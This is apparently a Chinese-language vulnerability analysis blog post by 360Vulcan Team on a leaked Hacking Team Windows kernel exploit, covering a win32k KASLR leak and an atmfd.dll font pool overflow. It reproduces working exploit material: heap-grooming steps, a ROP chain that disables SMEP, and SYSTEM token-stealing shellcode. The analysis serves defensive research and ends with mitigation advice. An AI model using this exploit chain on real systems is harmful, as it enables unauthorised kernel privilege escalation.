作者:360Vulcan Team成員: MJ0011、pgboy
繼360Vulcan上周分析了Hacking Team泄露信息中曝光的三個Flash漏洞和一個Adobe Font Driver內核漏洞后(鏈接見文后)。 Hacking Team泄露信息中仍在不斷被發現存在新的攻擊代碼和0day漏洞。7月12日,Twitter上安全研究人員@vlad902
公布了Hacking Team的郵件(https://wikileaks.org/hackingteam/emails/emailid/974752
)中可能的一處Windows權限提升漏洞,并將其攻擊代碼上傳到Github上(https://github.com/vlad902/hacking-team-windows-kernel-lpe
)。
經過我們的分析,該攻擊代碼中包含了兩個Windows內核模式驅動的0day漏洞,其中一個是針對Windows內核驅動Win32k.sys的一處安全特性(KASLR)的繞過漏洞,另一個是針對Adobe字體驅動(atmfd.dll)的一處內核池溢出引發的內核代碼執行漏洞。
通過簡單瀏覽攻擊代碼,我們知道攻擊代碼運用了一處Win32k.sys
中的KASLR繞過漏洞獲得Win32k的基地,并組織ROP鏈,同時,加載一個字體文件(font-data.bin)來利用字體驅動漏洞,觸發ROP鏈,最終完成攻擊。
在Windows8.1以上的系統上,微軟增強了針對KALSR的緩和能力,對于低完整性級別及以下的程序,禁止獲得系統內核模塊的地址信息,來緩和內核漏洞針對IE沙盒等安全機制的攻擊。在360Vulcan Team 5月的博客《談談15年5月修復的三個0day》(http://blogs.#/blog/fixed_three_0days_in_may/
)中,我們比較詳細地介紹了這類問題的的背景,以及一個和本次漏洞類似的CNG.sys KASLR
繞過漏洞CVE-2015-1674
。 這里Hacking Team所使用的是一個win32k處理字體信息時的棧未初始化導致的信息泄露漏洞。
我們結合源代碼的win32k_infoleak()
函數中可以了解, win32k用于獲取文本字體信息的內核調用NtGdiGetTextMetricsW->GreGetTextMetrics->bGetTextMetrics
會針對DC對象返回一個內部結構到存放tagTEXTMETRIC
結構的輸出緩存中。
通過分析bGetTextMetrics
的實現我們可以得知,該函數首先檢查字體對象中用于緩存tagTEXTMETRIC
結構的一處指針是否為空,如果不為空,就直接使用這里保存的字體信息,這樣可以加快頻繁調用的GetTextMetricsW
的性能。
如果緩存的結構為空,那么該函數會調用bIFIMetricsToTextMetricW
來獲取字體信息,并且使用PALLOCMEM2分配一塊緩存結構內存,保存到字體對象中,以供下次查詢加快速度。
這套邏輯在復制0x38偏移時,存在一處對齊引發的棧信息泄露問題,我們來看MSDN中對于tagTEXTMETRIC的定義(https://msdn.microsoft.com/en-us/library/aa911401.aspx
),可以看到 0x38
偏移就是這個數據結構的最后一個成員tmCharSet
,它的類型是BYTE,長度1個字節,而這里數據結構為了對齊,會補充7個字節,以便實現8字節對齊(x86系統上補充3個字節),就是這個數據結構對齊問題引發了這里的信息泄露。
在bIFIMetricsToTextMetricW
函數中,會使用外部bGetTextMetrics
提供的棧空間來保存獲得的tagTEXTMETRIC
結構,在存儲前,函數并沒有將棧中數據全部初始化,因此補齊的7個字節仍是其他函數遺留在棧空間中的,在后面復制到分配的用于緩存的堆內存中時,也將這部分數據一起復制了過去。
這就導致之前在棧中存放的其它函數的信息,被存入緩存的tagTEXTMETRIC
結構中, 下次程序再通過NtGdiGetTextMetricsW
獲取時,就會獲取到這些信息,如果棧中的信息恰好是內核地址信息,就會導致內核模塊的信息泄露。
經過調試發現,目前最新補丁的Windows8.1 x64
上,在首次調用并存儲緩存結構時,這里的棧位置恰好存儲了win32k!SetOrCreateRectRgnIndirectPublic+0x42
函數的一處返回地址, 由于這里只有7個字節的地址信息,低8位會被修改為tmCharSet的數值(一般是0),因此最后通過NtGdiGetTextMetricsW
獲取的,會是再往上一點的RGNOBJ::UpdateUserRgn
這個函數結尾處的垃圾對齊空間的位置。
這個漏洞顯然遠不如之前我們提到的CNG.SYS
的泄露漏洞好用:
首先,棧上的信息可能因為調用路徑或其他原因改變而不穩定,經過我們測試,這里的棧位置在某些調用路徑下,并不是返回地址,而是其他的垃圾數據,這就會直接導致這個漏洞失效; 其次,Win32k的版本過多代碼變動復雜,這個RGNOBJ::UpdateUserRgn的位置隨時在變動,在低完整性級別下攻擊代碼還可以通過識別win32k.sys
的版本做調整,在AppContainers(EPM)
或Untrust級別下,就無法做到這點,只能硬猜,這也是為什么目前Github上的攻擊代碼不能在最新的全補丁Windows 8.1 x64
上工作的原因:這個函數的位置發生了變動。
鑒于目前看到的這個攻擊代碼同上一個Hacking Team泄露的Windows內核權限提升漏洞的已經成熟“商用”的攻擊代碼不同,還只是出于演示目的的、存在很多硬編碼的示例代碼,因此很可能以后攻擊代碼的作者會使用更穩定、更好用的地址泄露漏洞來替換這個漏洞。畢竟,微軟才剛剛意識到這類問題的嚴重性,內核中還存在很多類似的漏洞和問題。
#0x03 Adobe Font Driver(atmfd.dll)內核池溢出漏洞
接下來我們來分析這個攻擊代碼中的重頭戲:字體漏洞, 我們可以看到,在攻擊代碼中使用了AddFontMemResourceEx函數來加載了font-data.bin這個OTF字體文件,我們嘗試在Windows 7系統上將這個文件改名為.otf文件(Explorer在渲染這個文件時也會加載它),系統立即藍屏崩潰,但是在Windows8.1 x64系統上,則不會出現這個情況,是不是Windows 8.1中已經修補了這個漏洞?
我們再進一步驗證,在Windows7系統上藍屏崩潰時,我們看到藍屏的代碼是0x19 BAD_POOL_HEADER
,看上去這似乎是一個Windows內核池的溢出漏洞,那么是不是在Windows 8.1上這個漏洞所溢出的內核池恰好沒有被用到而導致不容易觸發崩潰呢?
我們打開Driver Verifier工具,針對win32k.sys打開Speical Pool功能。關于驅動校驗器的這個功能,可以參考微軟MSDN的介紹:https://msdn.microsoft.com/en-us/library/windows/hardware/ff551832(v=vs.85).aspx
,這個功能類似用戶模式中的Page Heap功能,會將指定模塊分配的Windows內核池放入特殊的內存位置,使得這類內核池的溢出在第一時間被發現,開啟了這個功能后,我們如愿地在Windows 8.1 x64上100%觸發這個漏洞的藍屏崩潰。
我們可以看到這個崩潰的棧(這里是在桌面瀏覽字體文件觸發,因此是 NtGdiAddFontResourceW
函數)
atmfd
….
win32k!atmfdLoadFontFile
win32k!PDEVOBJ::LoadFontFile
win32k!vLoadFontFileView
win32k!PUBLIC_PFTOBJ::bLoadFonts
win32k!GreAddFontResourceWInternal
win32k!NtGdiAddFontResourceW
這里可以看得很清楚,這是在win32k.sys驅動加載這個字體文件,在PUBLIC_PFTOBJ::bLoadFonts函數中,win32k.sys會將字體映射到內核中,進行一些字體對象的處理后,會調用這個字體對應的字體驅動,這里的這個adobe OTF字體最終就觸發了atmfdLoadFontFile這個函數,這個函數atmfd.dll會輸出的加載字體接口的封裝,最后就進入atmfd.dll的代碼中執行,實現最終的字體加載過程。
atmfd.dll是Adobe的代碼編譯的驅動,這里微軟并沒有給這個驅動提供符號文件,因此針對它的分析相對困難一些。我們通過分析代碼的執行流程,結合內核調試和字體分析工具(如T2F Analyzer),進一步深入分析atmfd.dll中的處理這個字體,最終觸發漏洞的過程(以Windows 8.1 x64上最新補丁的atmfd.dll為例):
win32k!atmfdLoadFontFile
進入atmfd中的+0x13DE0
位置函數,我們稱其為AtmfdLoadFont,這里是atmfd.dll中的加載字體接口,會識別字體的格式類型,填充相關的字體結構,并交給下面的進一步加載字體的函數來處理+0x178F0
的函數,我們稱其為AtmfdLoadFontInternal,該函數進一步分析和處理字體的信息(如字體的文件時間),并通過EngMapFontFile等函數映射字體文件到內核,映射完成后,這個函數判斷字體的類型為OTF,接著會進入一個專門處理OTF字體信息的函數中。+0x17D55
的位置,我們稱其為ProcessOTFFontInfo,該函數開始分析字體文件各個表的內容,接著我們看到有一個專門處理’GPOS‘這個表的FeatureList中標記為”kern”(kerning,用于處理字距)的FeatureTag的FeatureRecord的相關函數。+0x23128
,我們稱其為ProcessKerningRecord。到了這個函數就進入了這里比較關鍵和復雜的細節。這個函數會分析針對GPOS表的FeatureList,找到FreatureTag為”kern”的FeatureRecord,然后檢查其FeatureTable的Lookups,找到有效的Lookups后,該函數開始分析每個Lookups的LookupTable,每個Lookups可以有多個LookupTable,其中每個LookupTable又可以有多個SubTable,根據不同的SubTable的PosFormat,函數會進行不同的處理,其中針對SubTable的PosFormat = 2的情況,會進入一個專門處理這個Format的函數
5.剛才說到當PosFormat= 2
時會進入專門的處理SubTable函數,這里偏移是0x22A9C,我們稱其為ProcessFormat2SubTable,這里也就是這個漏洞的本質原因的地方了,在這個函數中,會根據SubTable的Class1Count和Class2Count計算需要的長度,計算的方式是0x20 * ClassXCount = 內存長度
,即0x20長度一個item,然后分配對應長度的內存,接著偏移0x21d08的函數(我們稱其為CopyClassDefData)會調用將SubTable的ClassDef1和ClassDef2中的數據復制到這些內存中,同時,在這些內存的第一個item會復制到一個0x20字節的特殊數據。
這段邏輯的反編譯代碼如下:
#!c+
01 Class1DefBuf = AllocMemory(32i64 * (unsigned int)Class1Count, v23, 1, 1);
02 if ( Class1DefBuf )
03 {
04 Class2DefBuf = AllocMemory(32i64 * Class2Count, v24, 1, 1);
05 if ( Class2DefBuf )
06 {
07 Class1DefSrc = *(_BYTE *)(SubTableObject + 9) | (unsigned __int16)(*(_WORD *)(SubTableObject + 8) << 8);
08 LODWORD(v50) = Class1Count;
09 v55 = CopyClassDefData(
10 SubTableObject,
11 Class1DefSrc,
12 TableEnd,
13 GlyphsCount,
14 (__int64)v50,
15 (__int64)arg_40,
16 FirstBuf,
17 Class1DefBuf);
18 if ( v55 == 1 )
19 {
20 v55 = 0;
21 Class2DefSrc = *(_BYTE *)(SubTableObject + 11) | (unsigned __int16)(*(_WORD *)(SubTableObject + 10) << 8);
22 v27 = Class2Count;
23 LODWORD(v50) = Class2Count;
24 v55 = CopyClassDefData(
25 SubTableObject,
26 Class2DefSrc,
27 TableEnd,
28 GlyphsCount,
29 (__int64)v50,
30 (__int64)arg_40,
31 FirstBuf,
32 Class2DefBuf);
其中,AllocateMemory(偏移0x28080
)是對win32k.sys
輸出的EngAllocMem
的一個封裝,這也是為什么我們針對win32k.sys設置校驗器也可以抓到atmfd的內核池溢出的原因: atmfd.dll
最終的內存分配也是靠win32k.sys(EngAllocMem)
實現的。
這里封裝的AllocateMemory
有一個特別的特性,也是造成這個漏洞可以觸發的原因之一:分配內存的長度如果=0,這里并不會失敗,因為這個封裝中永遠會將分配的內存長度+8,并將前面兩個DWORD,8個字節分別填充為:長度 , 和’ebdA'(Adobe的縮寫tag),將實際分配的內存位置+8 ,再返回給調用者。
也就是說, 當這里的AllocateMemory邏輯中, Class1Count或Class2Count等于0 ,要求分配0字節長度的內存時,這里并不會失敗(函數邏輯檢查了內存分配失敗的情況),而是繼續執行, 下面的CopyClassDefData函數實際獲得的是一個有效長度為0的緩存。 這里代碼編寫者沒有檢查或處理Class1Count為0的情況,同時,AllocateMemory又掩蓋了Class1Count為0的這個錯誤,讓函數繼續執行下去,這里是代碼編寫者所犯的第一個錯誤。
即使分配了錯誤長度的內存,如果后面的復制過程嚴格按照Class1Count來實現,這里也不會存在問題,但是這里代碼編寫者接著犯了第二個錯誤,如剛才上面所說,CopyClassDefData函數會給第一個ClassBuf的item復制一個item大小(0x20)的特殊數據。這里CopyClassDefData并沒有檢查Class1Count是否為0,就直接將數據復制到目標內存的第一個item的位置上,由于復制的大小超過了分配的大小,就自然造成了堆溢出,覆蓋到內核池后面的數據。
我們使用T2F Analyzer
可以看到這個漏洞字體的異常數據結構,首先使用T2F Analyzer
打開存在漏洞的字體文件。
需要注意的是,T2F Analyzer
在解析字體的過程后期還是會使用AddFontResouceExA
來加載字體到內核,導致直接使用這個工具在沒補丁的系統上打開漏洞字體文件會崩潰,這里簡單使用調試器斷下AddFontResourceExA
,阻止加載字體文件就可以繼續使用它的解析功能了。
首先,我們打開這個字體文件,找到Advanced Typography Tables->GPOS Table
,打開FeatureList,可以看到FeatureTag是”kern”的FeatureRecord,這個FeatureRecord的LookupCount = 1
,它的LookupIndex = 1
我們打開LookupList,查看這個Index = 1的Lookup:
正如我們前面推測的,這里的Class1Count
就是=0 , 也就是觸發這個漏洞的根本原因。
介紹了Adobe Font Driver的這個內核池溢出漏洞,接下來我們就看看攻擊代碼是如何利用這個漏洞,最終實現內核代碼執行,提升權限的。
在攻擊代碼中,作者利用了內核的堆風水技術,來確保這個內核池溢出最終覆蓋到我們指定的對象。
首先,攻擊代碼中會分配大量的(5000個)Accelerator Table
對象。這樣做使其后面對象的在一段連續的內存。在Windows8 x64上,Accelerator Table
對象的大小為0x28。 然后,攻擊代碼在剛才分配出來的Accelerator Table
對象的中間靠后位置(3600-4600)進行釋放。
在釋放了這些Accelerator Table
之后,會使用CreateDCompositionHwndTarget
創建CHwndTargetProp
對象。
CHwndTargetProp
對象及其對應的分配、釋放函數CreateDCompositionHwndTarget/DestroyDCompositionHwndTarget
是微軟從Windows8開始引入的一套針對窗口的”構圖“對象管理函數,是Windows8以來微軟新的UI系統的一部分,僅提供給一些內部的函數使用,我們在創建這些對象時,還需要創建對應的窗口對象。
作者精心選擇CHwndTargetProp
對象的原因是,它和Accelerator Table對象的大小一樣,都是0x28字節,這樣正好就將剛才釋放的Accelerator Table
的內存給占住。
接著,攻擊代碼再從剛才分配CHwndTargetProp
對象的中間位置,釋放指定個數,這樣在Accelerator Table
區域中 的CHwndTargetProp
區域里, 再次制造內存空洞。
在加載字體的過程中, 分配小內存的ClassDefBuf
時,就落入設置好的空洞中,接著內核池溢出,就會覆蓋后面CHwndTargetProp
的數據內容。
整個內核池的布局操控過程如下圖所示:
由于Windows8以后微軟已經移除了很多Win32k中的結構信息,因此CHwndTargetProp
的數據結構只能通過猜測來分析,我們使用內核調試器分析一個CHwndTargetProp
對象:
kd> dps fffff901443cdf40
fffff901`443cdf40 fffff960`00526d00 win32k!CHwndTargetProp::`vftable’
fffff901`443cdf48 fffff901`4082d9b0
fffff901`443cdf50 00000000`00000000
fffff901`443cdf58 ffffe001`2ed25d60
fffff901`443cdf60 00000000`00000000
fffff901`443cdf68 00000000`00000001
可以看到開頭是一個虛表的地址,我們查看這個虛表的成員如下:
kd> dps fffff960`00526d00
fffff960`00526d00 fffff960`0031f470 win32k!CHwndTargetProp::Delete
fffff960`00526d08 fffff960`003b1378 win32k!CHwndTargetProp::GetAtom
fffff960`00526d10 48273f8a`8c7ed206
fffff960`00526d18 6cfcae1f`9eaeabb3
前面我們說到,加載字體過程中賦值內存可以覆蓋后面的對象,因為我們已經經過了精心的堆布局,因此我們可以就可以覆蓋特定的CHwndTargetProp
的虛表,來實現將其虛表成員函數替換為我們想要執行的函數。 這里字體中覆蓋的數據內容為固定的0x0000000042005000
,那么通過在這個固定的內存位置構架假的虛表,我們就可以獲得執行權限 我們可以看到,在攻擊代碼中,在固定位置(PAYLOAD_BASE)分配內存,并構建假的虛表的過程:
#!c++
1 #define PAYLOAD_BASE 0x42000000
2
3 *(ULONGLONG*)(PAYLOAD_BASE + 0x5000) = win32k_base_addr + 0x19fab; // pop rax # ret <-- RAX [win32k!CHwndTargetProp::Delete]
4 *(ULONGLONG*)(PAYLOAD_BASE + 0x5008) = win32k_base_addr + 0x6121; // xchg rax, rsp # ret (pivot) <-- this is where (1st) CALL jumps to. [win32k!CHwndTargetProp::GetAtom]
當CHwndTargetProp
的虛表被覆蓋后,攻擊代碼再調用DestroyDCompositionHwndTarget
函數來釋放CHwndTargetProp
,此時最終調用到內核中,就會跳轉到攻擊代碼已經設置好的虛表函數。
整個過程中,會先調用win32k!CHwndTargetProp::GetAtom
然后再調用win32k!CHwndTargetProp::Delete
。
總共過程中會有3次調用到CHwndTargetProp
的虛表函數:
DestroyDCompositionHwndTarget過程:
第一次: win32k!CHwndTargetProp::GetAtom
第二次: win32k!CHwndTargetProp::Delete
DeatoryWindow過程:
第三次:win32k!CHwndTargetProp::Delete
為了繞過Windows8 系統的SMEP保護,這里虛表函數不能使用位于ring3的ShellCode,因此需要使用win32k.sys
中的代碼片段構建ROP,關閉SMEP, 這也就是為什么攻擊代碼中需要利用我們一開始說的win32k.sys的KASLR繞過漏洞: 為了構建這里所需要的ROP鏈。 整個構建ROP鏈的過程如下:
第一步:獲取ntoskrnl的函數地址,這里是通過泄露的win32k.sys的地址,硬編碼得到win32k.sys中對ntoskrnl!ExAllocatePoolWithTag
的導入表的地址,然后操作ROP鏈讀取函數地址:
#!c++
1 *(ULONGLONG*)(PAYLOAD_BASE + 0x5010) = win32k_base_addr + 0x19fab; // pop rax # ret (RAX is source for our write)
2 *(ULONGLONG*)(PAYLOAD_BASE + 0x5018) = win32k_base_addr + 0x352220; // pop into rax (pointer to leaked address of `ntoskrnl!ExAllocatePoolWithTag` that win32k imports)
3 *(ULONGLONG*)(PAYLOAD_BASE + 0x5020) = win32k_base_addr + 0x98156; // pop rcx # ret (RCX is destination for our write)
4 *(ULONGLONG*)(PAYLOAD_BASE + 0x5028) = PAYLOAD_BASE + 0x100; // pop into rcx (memory to write leaked address)
5 *(ULONGLONG*)(PAYLOAD_BASE + 0x5030) = win32k_base_addr + 0xc432f; // mov rax, [rax] # mov [rcx], rax # ret (write gadget to [RCX])
第二步:因為后面的流程還會調到虛表,必須先修復棧,讓第二次調用函數正常返回。
#!c++
01 *(ULONGLONG*)(PAYLOAD_BASE + 0x5038) = win32k_base_addr + 0x14db; // pop rbx # ret
02 *(ULONGLONG*)(PAYLOAD_BASE + 0x5040) = PAYLOAD_BASE + 0x5100; // this will clobber the existing vTable object pointer (RBX) ---------------------
03 // |
04 // Setup the new fake vTable at 0x42005100. We don't do anything interesting |
05 // with the second call. We just want it to return nicely. |
06 *(ULONGLONG*)(PAYLOAD_BASE + 0x5100) = PAYLOAD_BASE + 0x5110; // double-dereference to get to gadget (actual ROP chain |
07 *(ULONGLONG*)(PAYLOAD_BASE + 0x5108) = PAYLOAD_BASE + 0x5110; // (arbitrary pointer to pointer) continues here) |
08 *(ULONGLONG*)(PAYLOAD_BASE + 0x5110) = win32k_base_addr + 0x6e314; // (`RET` gadget) |
09 // |
10 // Resume execution. Restore original stack pointer. |
11 *(ULONGLONG*)(PAYLOAD_BASE + 0x5048) = win32k_base_addr + 0x7018e; // mov rax, r11 # ret (register holding a value close to original stack pointer) <-
12 *(ULONGLONG*)(PAYLOAD_BASE + 0x5050) = win32k_base_addr + 0x98156; // pop rcx # ret
13 *(ULONGLONG*)(PAYLOAD_BASE + 0x5058) = 0x8; // pop into rcx
14 *(ULONGLONG*)(PAYLOAD_BASE + 0x5060) = win32k_base_addr + 0xee38f; // add rax, rcx # ret (adjust the stack pointer)
15 *(ULONGLONG*)(PAYLOAD_BASE + 0x5068) = win32k_base_addr + 0x1f8c1; // push rax # sub eax, 8b480020h # pop rsp # and al, 8 # mov rdi, qword ptr [rsp+10] # mov eax, edx # ret
第三步,根據ntoskrnl!ExAllocatePoolWithTag
的地址硬編碼計算出ntoskrnl.exe
的基址
#!c++
1 ExAllocatePoolWithTag_offset = 0x2a3a50;
2 nt_base_addr = *(ULONGLONG *)(PAYLOAD_BASE + 0x100) - ExAllocatePoolWithTag_offset;
第四步,找到ntoskrnl的基址,是為了利用其中操作cr4 SMEP位的代碼,關閉SMEP,所以這步就是構建ROP鏈,關閉SMEP,這里的rop鏈是通過DestroyWindow
觸發的
#!c++
01 *(ULONGLONG*)(PAYLOAD_BASE + 0x5000) = win32k_base_addr + 0x189a3a; // xchg eax, esp # sbb al, 0 # mov eax, ebx # add rsp, 0x20 # pop rbx # ret
02 *(ULONGLONG *)(PAYLOAD_BASE + 0x5008) = 0x41414141; // filler
03 *(ULONGLONG *)(PAYLOAD_BASE + 0x5010) = 0x41414141; // filler
04 *(ULONGLONG *)(PAYLOAD_BASE + 0x5018) = 0x41414141; // filler
05 *(ULONGLONG *)(PAYLOAD_BASE + 0x5020) = 0x41414141; // filler
06 *(ULONGLONG*)(PAYLOAD_BASE + 0x5028) = win32k_base_addr + 0x19fab; // pop rax # ret
07 *(ULONGLONG*)(PAYLOAD_BASE + 0x5030) = 0x406f8; // pop into rax, cr4 value
08 *(ULONGLONG*)(PAYLOAD_BASE + 0x5038) = nt_base_addr + 0x38a3cc; // mov cr4, rax # add rsp, 0x28 # ret (SMEP disabling gadget)
09 *(ULONGLONG *)(PAYLOAD_BASE + 0x5040) = 0x41414141; // filler
10 *(ULONGLONG *)(PAYLOAD_BASE + 0x5048) = 0x41414141; // filler
11 *(ULONGLONG *)(PAYLOAD_BASE + 0x5050) = 0x41414141; // filler
12 *(ULONGLONG *)(PAYLOAD_BASE + 0x5058) = 0x41414141; // filler
13 *(ULONGLONG *)(PAYLOAD_BASE + 0x5060) = 0x41414141; // filler
1 第五步,這里SMEP已經關閉,直接跳轉到用戶模式的ShellCode,并且真的去刪除CHwndTargetProp對象
1 *(ULONGLONG*)(PAYLOAD_BASE + 0x5068) = PAYLOAD_BASE; // return to userland and win!
2 *(ULONGLONG*)(PAYLOAD_BASE + 0x5070) = win32k_base_addr + 0x165010; // CHwndTargetProp::Delete(void)
第六步,最后執行用戶模式ShellCode,這里就簡單了,攻擊代碼中的ShellCode是一個簡單的替換本進程token為winlogon的System Token的代碼:
#!c++
01 char sc[] = {
02 '\x4D', '\x8B', '\xBB', '\x68', '\x01', '\x00', '\x00', // mov r15, [r11+0x168], save return address of kernel stack
03 '\x41', '\x51', // push r9 save regs
04 '\x41', '\x52', // push r10
05 '\x65', '\x4C', '\x8B', '\x0C', '\x25', '\x88', '\x01', '\x00', '\x00', // mov r9, gs:[0x188], get _ETHREAD from KPCR (PRCB @ 0x180 from KPCR, _ETHREAD @ 0x8 from PRCB)
06 '\x4D', '\x8B', '\x89', '\xB8', '\x00', '\x00', '\x00', // mov r9, [r9+0xb8], get _EPROCESS from _ETHREAD
07 '\x4D', '\x89', '\xCA', // mov r10, r9 save current eprocess
08 '\x4D', '\x8B', '\x89', '\x40', '\x02', '\x00', '\x00', // mov r9, [r9+0x240] $a, get blink
09 '\x49', '\x81', '\xE9', '\x38', '\x02', '\x00', '\x00', // sub r9, 0x238 => _KPROCESS
10 '\x41', '\x81', '\xB9', '\x38', '\x04', '\x00', '\x00', '\x77', '\x69', '\x6E', '\x6C', // cmp [r9+0x438], 0x6c6e6977 does ImageName begin with 'winl' (winlogon)
11 '\x75', '\xe5', // jnz $a no? then keep searching!
12 '\x4D', '\x8B', '\xA1', '\xE0', '\x02', '\x00', '\x00', // mov r12, [r9+0x2e0] get pid
13 '\x48', '\xC7', '\xC0', '\x00', '\x10', '\x00', '\x42', // mov rax, 0x42001000
14 '\x4C', '\x89', '\x20', // mov [rax], r12 save pid for use later
15 '\x4D', '\x8B', '\x89', '\x48', '\x03', '\x00', '\x00', // mov r9, [r9+0x348] get token
16 '\x49', '\x83', '\xE1', '\xF0', // and r9, 0xfffffffffffffff0 get SYSTEM token's address
17 '\x49', '\x83', '\x41', '\xD0', '\x0A', // add [r9-0x30], 0x10 increment SYSTEM token's reference count by 0x10
18 '\x4D', '\x89', '\x8A', '\x48', '\x03', '\x00', '\x00', // mov [r10+0x348], r9 replace our token with system token
19 '\x41', '\x5A', // pop r10 restore regs
20 '\x41', '\x59', // pop r9
21 '\x41', '\x53', // push r11, pointer near to original stack
22 '\x5C', // pop rsp
23 '\x48', '\x81', '\xC4', '\x68', '\x01', '\x00', '\x00', // add rsp, 0x168, restore original kernel rsp
24 '\x4C', '\x89', '\x3C', '\x24', // mov [rsp], r15, restore original return address
25 '\xFF', '\x24', '\x25', '\x70', '\x50', '\x00', '\x42', // jmp [0x42005070], continue on to delete the object CHwndTargetProp::Delete(void)
26 0
27 };
近期atmfd字體漏洞泛濫,建議禁用atmfd.dll (直接將其改名即可)。對于Windows 10用戶,可以使用緩和策略阻止非信任字體加載,這個功能在今年1月我們介紹過(http://blogs.#/blog/windows10_font_security_mitigations/
),微軟5月將其文檔化:https://msdn.microsoft.com/en-us/library/dn985836%28v=vs.85%29.aspx